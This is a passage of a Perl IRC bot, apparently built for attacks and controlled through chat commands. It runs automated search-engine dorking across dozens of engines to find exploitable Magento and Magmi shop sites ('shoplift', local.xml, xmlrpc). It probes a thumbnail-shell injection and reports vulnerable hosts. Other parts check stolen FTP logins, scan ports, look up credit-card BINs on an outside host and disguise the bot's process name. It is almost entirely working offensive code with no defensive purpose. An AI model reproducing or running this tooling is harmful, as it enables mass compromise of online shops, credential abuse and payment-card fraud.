if ($cekby2 =~ /search/i){ $bystats2 = "9Up!"; } else { $bystats2 = "4Lost!"; }
if ($cekby3 =~ /search/i){ $bystats3 = "9Up!"; } else { $bystats3 = "4Lost!"; }
if ($cekby4 =~ /search/i){ $bystats4 = "9Up!"; } else { $bystats4 = "4Lost!"; }
if ($cekby5 =~ /search/i){ $bystats5 = "9Up!"; } else { $bystats5 = "4Lost!"; }
if ($cekby6 =~ /search/i){ $bystats6 = "9Up!"; } else { $bystats6 = "4Lost!"; }
if ($cekby7 =~ /search/i){ $bystats7 = "9Up!"; } else { $bystats7 = "4Lost!"; }
if ($cekby8 =~ /search/i){ $bystats8 = "9Up!"; } else { $bystats8 = "4Lost!"; }
if ($cekby9 =~ /search/i){ $bystats9 = "9Up!"; } else { $bystats9 = "4Lost!"; }
if ($cekby10 =~ /search/i){ $bystats10 = "9Up!"; } else { $bystats10 = "4Lost!"; }
my $bypasslogo = "3bypass";sleep(3);
&msg("$path","$bypasslogo Checker ");
&msg("$path","$bypasslogo 1 ==> $bystats1");
&msg("$path","$bypasslogo 2 ==> $bystats2");
&msg("$path","$bypasslogo 3 ==> $bystats3");
&msg("$path","$bypasslogo 4 ==> $bystats4");
&msg("$path","$bypasslogo 5 ==> $bystats5");
&msg("$path","$bypasslogo 6 ==> $bystats6");
&msg("$path","$bypasslogo 7 ==> $bystats7");
&msg("$path","$bypasslogo 8 ==> $bystats8");
&msg("$path","$bypasslogo 9 ==> $bystats9");
&msg("$path","$bypasslogo 10 ==> $bystats10");
}
##################################################################### HELP COMMAND
if (&isAdmin($nick) && $msg=~ /^!help/) {
my $helplogo = "15,1[ 9HELP 15]";
&msg("$channel","15,1[ 9HELP 15] [ 9AUTH BOSS!! 15]");
}
if (&isAdmin($nick) && $msg =~ /^!pid/) {
&msg("$channel","6Fake Process/PID : $fakeproc - $$");
}
if (&isAdmin($nick) && $msg=~ /^!id/) {
if (&isFound($thumbid,"GIF89")) {
&msg("$path","9,1[4!9]Injector 4<9=4>9 Ready!!! ");
} else {
&msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
}
}
##################################################################### SCAN
if ($msg =~ /!cari\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $find = $1;
&msg($path,"$carilogo9 Searching 15$find ");
&cari($path,$find);
} exit; }
}
if ($msg =~ /^$magecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("magmi/web/magmi.php",$1);
&msg("$channel","$magelogo 10,1Dork : 11$dork");
&msg("$channel","10Search Engine Loading ...");
sendraw("MODE $channel +m");
&se_start($channel,$bug,$simpan,$dork,$engine,1);
}
}
}
if ( $msg =~ /^$magecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("app/etc/local.xml",$1);
sendraw("MODE $channel +m");
&se_start($channel,$bug,$simpan,$dork,$engine,2);
}
}
}
if ($msg =~ /^$magecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("index.php/api/xmlrpc",$1);
sendraw("MODE $channel +m");
&se_start($channel,$bug,$simpan,$dork,$engine,3);
}
}
}
if ($msg =~ /^$magecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/customer/account/login",$1);
sendraw("MODE $channel +m");
&se_start($channel,$bug,$simpan,$dork,$engine,4);
}
}
}
if ($msg =~ /^$shopcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/customer/account/login",$1);
&msg("$channel","$magelogo 10,1Dork : 11$dork");
&msg("$channel","10Search Engine Loading ...");
sendraw("MODE $channel +m");
&se_start($channel,$bug,$simpan,$dork,$engine,4);
}
}
}
if ($msg =~ /^$shop2cmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $dork = $1;
&msg("$channel","$magelogo 10,1Dork : 11$dork");
&msg("$channel","10Search Engine Loading ...");
sendraw("MODE $channel +m");
&se_start($channel,$bug,$simpan,$dork,$engine,4);
}
}
}
if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
my $hostip= "$1";
my $portsc= "$2";
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
if ($scansock) {
&msg("$path","15(7@2PORT15)7 $hostip : $portsc 9Accepted");
}
else {
&msg("$path","15(7@2PORT15)7 $hostip : $portsc 4connection refused");
}
}
if ($msg=~ /^!ip\s+(.*)/ ) {
if (my $pid = fork) { waitpid($pid, 0); } else {
if (fork) { exit; } else {
my $ip = $1;
&msg("$path","15(4@9IP15)6 Searching ".$ip." 9Location ...");
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout(5);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is(.*)
City:(.*)Country:(.*)
Continent:(.*)
Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
&msg("$path","6 IP Address 4:12 ".$ip." 3 ( ".$ipaddress." )");
&msg("$path","6 City 4:12 ".$ip." 3 ( ".$city." )");
&msg("$path","6 Country 4:12 ".$ip." 3 ( ".$country." )");
&msg("$path","6 Continent 4:12 ".$ip." 3 ( ".$continent." )");
}
else {
&msg("$path","15(7@2IP15)13 ".$ip." 4not found in database");
}
}
else {
&msg("$path","15(7@2IP15)4 Cannot open IP database.");
}
}
exit;
}
}
if (&isAdmin($nick) && $msg =~ /^$bin\s+(.*)/ ) {
if (my $pid = fork) { waitpid($pid, 0); } else {
if (fork) { exit; } else {
my $bin = $1;
&msg("$path","15(4@9BIN15)6 Searching ".$bin." 9Location ...");
my $website = "http://arche5.com//modules/js/bins.php";
my ($useragent,$request,$response,%form);
undef %form;
$form{bin} = $bin;
$useragent = LWP::UserAgent->new;
$useragent->timeout(5);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/BIN : (.*)
Country : (.*)
Vendor : | (.*)
Type : | (.*)
Level : | (.*)
Bank : | (.*)/g) {
my ($BIN,$country,$vendor,$type,$level,$bank) = ($1,$2,$3,$4,$5,$6);
&msg("$path","9,1BIN 4:8 ".$BIN."");
&msg("$path","9,1Country 4:10 ".$country."");
&msg("$path","9,1Vendor 4:6 ".$vendor."");
&msg("$path","9,1Type 4:12 ".$type."");
&msg("$path","9,1Level 4:11 ".$level."");
&msg("$path","9,1Bank 4:0 ".$bank."");
}
else {
&msg("$path","15(7@2IP15)13 ".$bininfo." 4not found in database");
}
}
else {
&msg("$path","15(7@2IP15)4 Cannot open BIN database.");
}
}
exit;
}
}
if ($msg=~ /^!bank\s+(.*)/ ) {
my $bankinfo = $1;
my $database = "banklist.txt";
open FILE,"$database";
my @results=;
close FILE;
my $bankvar = 0;
my $chkvar = 0;
foreach my $url (@results){
if($url =~ /$bankinfo\|(.*)/){
if($bankvar == 0) {
$bankvar = 1;
&msg("$path","7,1Bank :3 $1");
}
}
}
}
if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
my $url = $_[0];
my $host = $_[1];
my $user = $_[2];
my $pass = $_[3];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) { exit; } else {
my ($host,$user,$pass) = ($1,$2,$3);
&msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
¬ice("$channel","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
} else {
¬ice("$channel","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
}
}
}
}
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line = $line_temp.$line if ($line_temp);
$line_temp = '';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
##################################################################################
sub lobex() {
my $dork = $_[0];
my @targets;
for (my $st=0; $st<=1000 ; $st+=100){
my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
my $browser = &search_engine_query($engine);
while ($browser =~ m/ 0) {
foreach my $site(@target) {
$count++;
if ($count == $num-1) {
&msg("$channel","$carilogo9Finished 15for 9$dork ");
}
my $test = "http://".$site.".php?src=".$thumbshell;
if (my $pid = fork) { waitpid($pid, 0); } else {
if (fork) { exit; } else {
my $coba = &get_content($test);
if ($coba =~ /Unable to open image/) {
&msg($channel,"$carilogo9 VulN 4-> 15 http://".$site.".php ");
}
} exit;
}
}
}
}
sub type() {
my ($channel,$bug,$simpan,$dork,$engine,$type) = @_;
if ($type == 1){$type=&magxpl($channel,$bug,$simpan,$dork,$engine);}
elsif ($type == 2){$type=&magmi($channel,$bug,$simpan,$dork,$engine);}
elsif ($type == 3){$type=&magmi_ini($channel,$bug,$simpan,$dork,$engine);}
elsif ($type == 4){$type=&shoplift($channel,$bug,$simpan,$dork,$engine);}
}
##################################################################################
sub se_start() {
my ($channel,$bug,$simpan,$dork,$engine,$type) = @_;
if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAE",$type); } exit; } }
if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAR",$type); } exit; } }
if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAT",$type); } exit; } }
if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAU",$type); } exit; } }
if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBR",$type); } exit; } }
if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCA",$type); } exit; } }
if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCL",$type); } exit; } }
if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCN",$type); } exit; } }
if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } }
if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } }
if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKDE",$type); } exit; } }
if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKDK",$type); } exit; } }
if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKES",$type); } exit; } }
if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKEU",$type); } exit; } }
if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKFR",$type); } exit; } }
if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKHU",$type); } exit; } }
if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKID",$type); } exit; } }
if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIL",$type); } exit; } }
if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIN",$type); } exit; } }
if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } }
if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIR",$type); } exit; } }
if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIT",$type); } exit; } }
if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKJP",$type); } exit; } }
if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKKR",$type); } exit; } }
if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKMX",$type); } exit; } }
if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKMY",$type); } exit; } }
if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } }
if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKNL",$type); } exit; } }
if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } }
if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPH",$type); } exit; } }
if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPL",$type); } exit; } }
if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKRO",$type); } exit; } }
if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKRU",$type); } exit; } }
if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTH",$type); } exit; } }
if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUA",$type); } exit; } }
if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUK",$type); } exit; } }
if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUS",$type); } exit; } }
if ($engine =~ /jackba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBA",$type); } exit; } }
if ($engine =~ /jackbb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBB",$type); } exit; } }
if ($engine =~ /jackbd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBD",$type); } exit; } }
if ($engine =~ /jackcc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCC",$type); } exit; } }
if ($engine =~ /jackco/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCO",$type); } exit; } }
if ($engine =~ /jackcm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCM",$type); } exit; } }
if ($engine =~ /jackhk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKHK",$type); } exit; } }
if ($engine =~ /jackng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKNG",$type); } exit; } }
if ($engine =~ /jacktr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTR",$type); } exit; } }
if ($engine =~ /jackza/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKZA",$type); } exit; } }
if ($engine =~ /jacktw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTW",$type); } exit; } }
if ($engine =~ /jacktv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTV",$type); } exit; } }
if ($engine =~ /jackpe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPE",$type); } exit; } }
if ($engine =~ /jacklr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKLR",$type); } exit; } }
if ($engine =~ /jackis/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKIS",$type); } exit; } }
if ($engine =~ /jackfi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKFI",$type); } exit; } }
if ($engine =~ /jackeg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKEG",$type); } exit; } }
if ($engine =~ /jackaq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKAQ",$type); } exit; } }
if ($engine =~ /jackvi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKVI",$type); } exit; } }
if ($engine =~ /jacksy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSY",$type); } exit; } }
if ($engine =~ /jackly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKLY",$type); } exit; } }
if ($engine =~ /jackmc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKMC",$type); } exit; } }
if ($engine =~ /jackpt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKPT",$type); } exit; } }
if ($engine =~ /jackve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKVE",$type); } exit; } }
if ($engine =~ /jackuy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUY",$type); } exit; } }
if ($engine =~ /jackeh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKEH",$type); } exit; } }
if ($engine =~ /jackgb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKGB",$type); } exit; } }
if ($engine =~ /jackvn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKVN",$type); } exit; } }
if ($engine =~ /jackwf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKWF",$type); } exit; } }
if ($engine =~ /jackuz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKUZ",$type); } exit; } }
if ($engine =~ /jacktc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKTC",$type); } exit; } }
if ($engine =~ /jackch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKCH",$type); } exit; } }
if ($engine =~ /jacksb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSB",$type); } exit; } }
if ($engine =~ /jacksg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSG",$type); } exit; } }
if ($engine =~ /jacksa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSA",$type); } exit; } }
if ($engine =~ /jacksk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSK",$type); } exit; } }
if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKSI",$type); } exit; } }
if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBE",$type); } exit; } }
if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } }
if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCA",$type); } exit; } }
if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeDE",$type); } exit; } }
if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeUK",$type); } exit; } }
if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeFR",$type); } exit; } }
if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeES",$type); } exit; } }
if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIT",$type); } exit; } }
if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeNL",$type); } exit; } }
if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeBE",$type); } exit; } }
if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCH",$type); } exit; } }
if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeSE",$type); } exit; } }
if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeDK",$type); } exit; } }
if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeNO",$type); } exit; } }
if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeNZ",$type); } exit; } }
if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIE",$type); } exit; } }
if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeBR",$type); } exit; } }
if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeAR",$type); } exit; } }
if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCO",$type); } exit; } }
if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCU",$type); } exit; } }
if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCL",$type); } exit; } }
if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeMX",$type); } exit; } }
if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeAU",$type); } exit; } }
if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeRU",$type); } exit; } }
if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeAT",$type); } exit; } }
if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLePL",$type); } exit; } }
if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIL",$type); } exit; } }
if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeTR",$type); } exit; } }
if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeUA",$type); } exit; } }
if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeGR",$type); } exit; } }
if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeJP",$type); } exit; } }
if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeCN",$type); } exit; } }
if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeMY",$type); } exit; } }
if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeTH",$type); } exit; } }
if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeIN",$type); } exit; } }
if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GooGLeKR",$type); } exit; } }
